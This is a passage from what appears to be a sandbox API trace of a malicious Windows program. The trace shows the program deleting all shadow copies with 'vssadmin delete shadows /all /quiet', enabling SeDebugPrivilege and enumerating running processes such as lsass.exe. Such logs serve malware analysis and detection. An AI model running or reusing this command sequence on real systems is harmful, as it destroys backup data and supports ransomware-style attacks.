sprintf (in: _Dest=0x3162bb6, _Format="%0.2x" | out: _Dest="ca") returned 2 [0056.191] sprintf (in: _Dest=0x3162bb8, _Format="%0.2x" | out: _Dest="57") returned 2 [0056.191] sprintf (in: _Dest=0x3162bba, _Format="%0.2x" | out: _Dest="f4") returned 2 [0056.191] sprintf (in: _Dest=0x3162bbc, _Format="%0.2x" | out: _Dest="c7") returned 2 [0056.191] sprintf (in: _Dest=0x3162bbe, _Format="%0.2x" | out: _Dest="71") returned 2 [0056.191] sprintf (in: _Dest=0x3162bc0, _Format="%0.2x" | out: _Dest="32") returned 2 [0056.191] sprintf (in: _Dest=0x3162bc2, _Format="%0.2x" | out: _Dest="ee") returned 2 [0056.191] sprintf (in: _Dest=0x3162bc4, _Format="%0.2x" | out: _Dest="e3") returned 2 [0056.191] sprintf (in: _Dest=0x3162bc6, _Format="%0.2x" | out: _Dest="6b") returned 2 [0056.191] sprintf (in: _Dest=0x3162bc8, _Format="%0.2x" | out: _Dest="0a") returned 2 [0056.191] sprintf (in: _Dest=0x3162bca, _Format="%0.2x" | out: _Dest="6f") returned 2 [0056.191] sprintf (in: _Dest=0x3162bcc, _Format="%0.2x" | out: _Dest="d9") returned 2 [0056.191] sprintf (in: _Dest=0x3162bce, _Format="%0.2x" | out: _Dest="79") returned 2 [0056.191] sprintf (in: _Dest=0x3162bd0, _Format="%0.2x" | out: _Dest="e9") returned 2 [0056.191] sprintf (in: _Dest=0x3162bd2, _Format="%0.2x" | out: _Dest="fd") returned 2 [0056.191] sprintf (in: _Dest=0x3162bd4, _Format="%0.2x" | out: _Dest="e5") returned 2 [0056.191] sprintf (in: _Dest=0x3162bd6, _Format="%0.2x" | out: _Dest="a7") returned 2 [0056.191] sprintf (in: _Dest=0x3162bd8, _Format="%0.2x" | out: _Dest="0c") returned 2 [0056.191] sprintf (in: _Dest=0x3162bda, _Format="%0.2x" | out: _Dest="e0") returned 2 [0056.191] sprintf (in: _Dest=0x3162bdc, _Format="%0.2x" | out: _Dest="c4") returned 2 [0056.191] sprintf (in: _Dest=0x3162bde, _Format="%0.2x" | out: _Dest="57") returned 2 [0056.191] sprintf (in: _Dest=0x3162be0, _Format="%0.2x" | out: _Dest="db") returned 2 [0056.191] sprintf (in: _Dest=0x3162be2, _Format="%0.2x" | out: _Dest="f6") returned 2 [0056.191] sprintf (in: _Dest=0x3162be4, _Format="%0.2x" | out: _Dest="e5") returned 2 [0056.191] sprintf (in: _Dest=0x3162be6, _Format="%0.2x" | out: _Dest="45") returned 2 [0056.191] RtlInitAnsiString (in: DestinationString=0x2dcf5ac, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0056.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcf5b4, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0056.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x82) returned 0x3171f90 [0056.192] RtlFreeAnsiString (AnsiString="d") [0056.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168948) returned 1 [0056.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3162070) returned 1 [0056.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x315bec8) returned 1 [0056.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161d18) returned 1 [0056.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x31713b0 [0056.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3166680 [0056.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20a) returned 0x3172dc0 [0056.194] Wow64DisableWow64FsRedirection (in: OldValue=0x2dcf6ac | out: OldValue=0x2dcf6ac*=0x0) returned 1 [0056.194] GetSystemDirectoryW (in: lpBuffer=0x3172dc0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0056.194] wcscat (in: _Dest=0x3172dc0, _Source="\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0056.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x240) returned 0x3172fd8 [0056.194] wcscpy (in: _Dest=0x3172fd8, _Source="C:\\WINDOWS\\system32\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0056.194] wcscat (in: _Dest=0x3172fd8, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" [0056.194] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2dcf604*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dcf648 | out: lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x2dcf648*(hProcess=0x2bc, hThread=0x2c0, dwProcessId=0xe5c, dwThreadId=0x4d8)) returned 1 [0056.457] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3172fd8) returned 1 [0056.457] Wow64RevertWow64FsRedirection (OlValue=0x2dcf6ac) returned 1 [0056.457] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3172dc0) returned 1 [0056.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x30051c0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0056.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3004cc0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0056.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0x3166680*=0x2c4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 10 os_tid = 0xe90 Thread: id = 23 os_tid = 0x384 [0057.740] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x4f3fa34 | out: lpLuid=0x4f3fa34*(LowPart=0x14, HighPart=0)) returned 1 [0057.746] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x4f3f9bc | out: TokenHandle=0x4f3f9bc*=0x2ec) returned 0x0 [0057.746] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x4f3fa24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.746] GetLastError () returned 0x0 [0057.746] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0057.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.749] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0057.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.749] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3179e98 [0057.750] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3179e98, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3179e98, ResultLength=0x0) returned 0xc0000004 [0057.751] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3179e98, Size=0x4090) returned 0x3179e98 [0057.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3179e98, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3179e98, ResultLength=0x0) returned 0xc0000004 [0057.751] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3179e98, Size=0x50b4) returned 0x317df30 [0057.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x317df30, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x317df30, ResultLength=0x0) returned 0xc0000004 [0057.752] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x317df30, Size=0x60d8) returned 0x3177e48 [0057.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.752] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0057.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.753] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0057.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.754] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0057.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.924] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0057.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.926] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0057.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.926] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3182fe0 [0057.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3182fe0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3182fe0, ResultLength=0x0) returned 0xc0000004 [0057.932] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3182fe0, Size=0xd1d4) returned 0x3182fe0 [0057.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3182fe0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3182fe0, ResultLength=0x0) returned 0xc0000004 [0057.933] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3182fe0, Size=0xe1f8) returned 0x31901c0 [0057.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x31901c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x31901c0, ResultLength=0x0) returned 0xc0000004 [0057.934] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31901c0, Size=0xf21c) returned 0x31901c0 [0057.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x31901c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x31901c0, ResultLength=0x0) returned 0xc0000004 [0057.935] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31901c0, Size=0x10240) returned 0x3177e48 [0057.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.935] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0057.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.936] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0057.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.936] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0057.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.937] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0057.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.937] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0057.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.938] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0057.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.938] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0057.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.939] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0057.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.940] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0057.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.940] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0057.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.941] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0057.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0057.941] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0057.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0057.942] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0057.942] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175ba8 [0057.942] RtlFreeAnsiString (AnsiString="System") [0057.942] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ba8) returned 1 [0057.942] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0057.942] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e08 [0057.942] RtlFreeAnsiString (AnsiString="smss.exe") [0057.942] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.942] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0057.942] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0057.942] RtlFreeAnsiString (AnsiString="csrss.exe") [0057.942] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0057.943] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0057.943] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0057.943] RtlFreeAnsiString (AnsiString="wininit.exe") [0057.943] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.943] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0057.943] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0057.943] RtlFreeAnsiString (AnsiString="csrss.exe") [0057.943] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0057.943] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0057.943] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0057.943] RtlFreeAnsiString (AnsiString="winlogon.exe") [0057.943] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0057.943] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0057.943] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0057.943] RtlFreeAnsiString (AnsiString="services.exe") [0057.944] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.944] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0057.944] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0057.944] RtlFreeAnsiString (AnsiString="lsass.exe") [0057.944] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.944] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.944] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0057.944] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.944] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0057.944] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0057.944] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161da8 [0057.944] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0057.944] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.944] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0057.944] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0057.944] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0057.945] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ce8 [0057.945] RtlFreeAnsiString (AnsiString="dwm.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ce8) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0057.945] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0057.945] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0057.945] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.945] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.945] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.945] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0057.945] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0057.946] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0057.946] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0057.946] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0057.946] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0057.946] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.946] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0057.946] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0057.946] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0057.946] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0057.947] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0057.947] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.947] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0057.947] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.947] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.947] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.947] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0057.947] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.947] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0057.947] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0057.947] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0057.947] RtlFreeAnsiString (AnsiString="audiodg.exe") [0057.947] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.947] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0057.947] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dc0 [0057.947] RtlFreeAnsiString (AnsiString="sihost.exe") [0057.948] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0057.948] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", 